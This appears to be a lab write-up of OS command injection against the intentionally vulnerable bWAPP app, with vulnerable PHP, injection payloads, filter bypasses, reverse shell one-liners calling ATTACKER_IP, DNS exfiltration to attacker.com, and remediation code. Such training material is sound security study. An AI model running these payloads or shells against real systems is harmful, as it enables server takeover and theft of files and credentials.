🧪 02 — OS Command Injection

OS Command Injection

OWASP: A03 - Injection | **CWE**: CWE-78 | **Severity**: 🔴 Critical

---

📖 Description

OS Command Injection occurs when an application passes unsafe user-supplied data to a system shell. An attacker can append OS commands using shell metacharacters (`;`, `|`, `&&`, `||`) to execute arbitrary commands on the server with the same privileges as the web application.

This is one of the most dangerous vulnerabilities — it can lead to **full server compromise**.

🔍 Affected Endpoint

```
http://localhost/bWAPP/commandi.php
http://localhost/bWAPP/commandi_blind.php
```

⚠️ Security Level: LOW

Behavior

Input is passed directly to `shell_exec()` with zero filtering.

Vulnerable Code (Conceptual)

```
$target = $_GET['target'];
$result = shell_exec('nslookup ' . $target);
```

PoC Payloads

```
# Basic injection (semicolon separator)
127.0.0.1; ls -la

# Read sensitive files
127.0.0.1; cat /etc/passwd

# Who is running the server?
127.0.0.1; whoami

# Full system info
127.0.0.1; uname -a

# Network info
127.0.0.1; ifconfig

# List web root
127.0.0.1; ls /var/www/html/bWAPP/

# Pipe operator
127.0.0.1 | id

# AND operator
127.0.0.1 && cat /etc/hosts

# OR operator (executes if first fails)
999.999.999 || whoami
```

Reverse Shell PoC

```
# Start listener on attacker machine
nc -lvnp 4444

# Payload in bWAPP
127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Alternative Python reverse shell
```

```
127.0.0.1; python3 -c 'import socket,subprocess,os;s=socke
t.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno
(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subproces
s.call(["/bin/sh","-i"])'
```

Evidence

```
Input:  127.0.0.1; cat /etc/passwd
Output: root:x:0:0:root:/root:/bin/bash
        daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
        ...(full passwd file)
```

⚠️ Security Level: MEDIUM

Defense Applied

bWAPP filters some metacharacters (like `&&` and `||`) but misses others.

Bypass Techniques

```
# If && is blocked, try semicolon
127.0.0.1; whoami

# Newline injection
127.0.0.1%0awhoami

# If spaces are filtered
127.0.0.1;cat${IFS}/etc/passwd

# Tab instead of space
127.0.0.1;cat\t/etc/passwd

# Encoded semicolon
127.0.0.1%3Bwhoami
```

⚠️ Security Level: HIGH

Defense Applied

Uses `escapeshellcmd()` and `escapeshellarg()` to properly escape input.

What It Does

```
$target = escapeshellarg($_GET['target']);
$result = shell_exec('nslookup ' . $target);
```

Result

Metacharacters are escaped and treated as literal strings. Standard injection fails.

Residual Test

```
Input:  127.0.0.1; cat /etc/passwd
Shell executes: nslookup '127.0.0.1; cat /etc/passwd'
Result: nslookup error - no such host (injection contained)
```

🔥 Blind Command Injection PoC

```
# No output visible, infer via time delay
127.0.0.1; sleep 5       <- if page delays 5 sec, injection
works!

# DNS exfiltration
127.0.0.1; nslookup $(whoami).attacker.com

# Write output to web-accessible file
127.0.0.1; whoami > /var/www/html/bWAPP/output.txt
# Then visit: http://localhost/bWAPP/output.txt
```

📊 Impact Analysis

Impact	Description
Full server compromise	Execute any OS command

Impact	Description
Data exfiltration	Read any file on server
Persistence	Add SSH keys, create backdoors
Lateral movement	Use server to attack internal network
Denial of Service	`rm -rf` or fork bomb

✅ Remediation

1. **Avoid system calls entirely** if possible — use language APIs instead
2. **Use** `escapeshellarg()` for all user input passed to shell
3. **Whitelist inputs**: If expecting an IP address, validate with regex `^[0-9.]+$`
4. **Least privilege**: Run web server with minimal permissions
5. **WAF rules**: Block `;`, `|`, `&&`, `||`, backticks in input

```
// Secure implementation
$target = $_GET['target'];
if (!filter_var($target, FILTER_VALIDATE_IP)) {
    die('Invalid IP address');
}
$result = shell_exec('nslookup ' . escapeshellarg($targe
t));
```

📚 References

- CWE-78: https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection